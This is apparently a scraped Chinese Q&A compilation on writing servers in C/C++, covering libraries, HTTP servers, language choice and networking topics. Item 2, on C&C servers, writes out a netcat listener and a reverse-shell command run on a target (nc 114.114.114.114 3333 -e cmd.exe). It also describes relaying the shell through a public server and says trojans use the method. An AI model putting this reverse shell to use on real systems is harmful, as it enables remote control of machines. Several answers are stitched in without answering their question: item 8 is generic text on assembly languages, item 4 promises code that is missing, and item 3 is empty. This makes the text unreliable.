1、問一下 用C/C++寫的伺服器 開源的有哪些?
經典的ACE框架,不過裡面的Bug也有很多,用的時候小心。
2、什麼是C&C伺服器
C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器
通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。
而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333
上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe
上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。
(2)c寫的伺服器擴展資料:
C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。
通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。
這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。
3、自己最近在用C++寫一個C/S的應用,想請教一下關於伺服器的問題?
自己最近在用c加加寫一個應用,這個伺服器還是可以,沒有什麼多大的問題。
4、如何用c語言實現http伺服器
//服務端簡易代碼如下:編譯:編譯時把libevent的類庫中的.so文件和.h文件連接 進來。
5、有沒有用C或c++寫的web伺服器
cpp-net lib cpp-netlib: The C++ Network Library,號稱是要進入標準的,但是感覺還不stable;
facebook做了一個HTTP庫 facebook/proxygen · GitHub,只對Linux系統比較友好;
另外還有一個叫pion的HTTP庫 splunk/pion · GitHub
C/C++好的網路庫有很多,像asio, libevent, libuv等的性能都是極好的,可以在這個基礎上加上HTTP協議解析,比如用joyent的http_parser,然後就是處理HTTP協議本身了,但這個時候問題就來了,是支持到1.1還是2.0?要不要支持SPDY、WebSocket?
沒有GC的語言處理字元串是很虐心的,如果一定要強求用C++,那我只能安慰題主:node也是C++寫的,你就當node的框架是C++ Web伺服器咯~
更好的選擇是用nginx,靠譜,實用。
6、求助,純C寫伺服器還是C++寫伺服器的迷茫
不大的話用C寫,很大的話用C++。即使用C也可以模擬出C++的class,叫abstract data type
7、linux系統用C語言寫個視頻伺服器,求老前輩們指導
我的c語言只有二級水平,班門弄斧了。
似乎,linux本身就有幾個不錯的開源視頻伺服器,
如果要求不高的話可以直接使用他們的;
如果他們的不能達到要求,可以使用c些一些代碼做轉換,然後使用popen,system之類的調用;
或者,借鑒開源的視頻伺服器代碼自己深度加工;
gstreamer本身就是專門處理視頻流的,可以看看能不能用上。
8、c語言有網路編程有沒有人使用c做游戲伺服器
目前通用的編程語言有兩種形式:匯編語言和高級語言。
匯編語言的實質和機器語言是相同的,都是直接對硬體操作,只不過指令採用了英文縮寫的標識符,更容易識別和記憶。它同樣需要編程者將每一步具體的操作用命令的形式寫出來。匯編程序通常由三部分組成:指令、偽指令和宏指令。匯編程序的每一句指令只能對應實際操作過程中的一個很細微的動作,例如移動、自增,因此匯編源程序一般比較冗長、復雜、容易出錯,而且使用匯編語言編程需要有更多的計算機專業知識,但匯編語言的優點也是顯而易見的,用匯編語言所能完成的操作不是一般高級語言所能實現的,而且源程序經匯編生成的可執行文件不僅比較小,而且執行速度很快。
高級語言是目前絕大多數編程者的選擇。和匯編語言相比,它不但將許多相關的機器指令合成為單條指令,並且去掉了與具體操作有關但與完成工作無關的細節,例如使用堆棧、寄存器等,這樣就大大簡化了程序中的指令。同時,由於省略了很多細節,編程者也就不需要有太多的專業知識。
高級語言主要是相對於匯編語言而言,它並不是特指某一種具體的語言,而是包括了很多編程語言,如目前流行的VB、VC、FoxPro、Delphi等,這些語言的語法、命令格式都各不相同。
高級語言所編制的程序不能直接被計算機識別,必須經過轉換才能被執行,按轉換方式可將它們分為兩類:
解釋類:執行方式類似於我們日常生活中的「同聲翻譯」,應用程序源代碼一邊由相應語言的解釋器「翻譯」成目標代碼(機器語言),一邊執行,因此效率比較低,而且不能生成可獨立執行的可執行文件,應用程序不能脫離其解釋器,但這種方式比較靈活,可以動態地調整、修改應用程序。
編譯類:編譯是指在應用源程序執行之前,就將程序源代碼「翻譯」成目標代碼(機器語言),因此其目標程序可以脫離其語言環境獨立執行,使用比較方便、效率較高。但應用程序一旦需要修改,必須先修改源代碼,再重新編譯生成新的目標文件(* .OBJ)才能執行,只有目標文件而沒有源代碼,修改很不方便。現在大多數的編程語言都是編譯型的,例如Visual C++、Visual Foxpro、Delphi等。
9、C/C++做伺服器需要學習什麼樣的技術
伺服器所用到的知識:
TCP/UDP,最基本的
並發——你可以選擇使用select、poll,或者是多線程、多進程
如果你使用多線程,那麼就必須使用同步技術——信號量、互斥體、條件變數的一種或幾種,並且對於多線程技術,你還需要考慮使用進行線程分離與合並,
如果你使用了多進程,那麼同步技術就不是你需要考慮的了,你需要考慮的是進程相關的問題了,你是使用fork還是vfork,你該如何處理客戶端的請求,如何處理客戶端斷開連接後保證能夠處理完數據並且沒有僵屍進程產生,你還需要考慮高並發的問題
你發送接受數據的時候,採用何種方式,是阻塞的還是非阻塞的,還有連接超時、重傳等問題
你是選擇TCP還是UDP,如果選擇UDP你可得忙了,需要你自己去進行重傳驗證,模擬TCP的三次握手,保證數據不會丟失,保證數據的有序性
還有其他很多需要你考慮的,以上都是指在Linux下的C++,本人對windows C++不了解
推薦書目:UNIX高級環境編程,UNIX網路編程,卷一。C++只不過是你使用這些技術的方式,不管你使用C還是C++,你都可以使用從這兩本書中學習到很多有用的知識,但是不能保證你就可以寫出高質量的伺服器程序。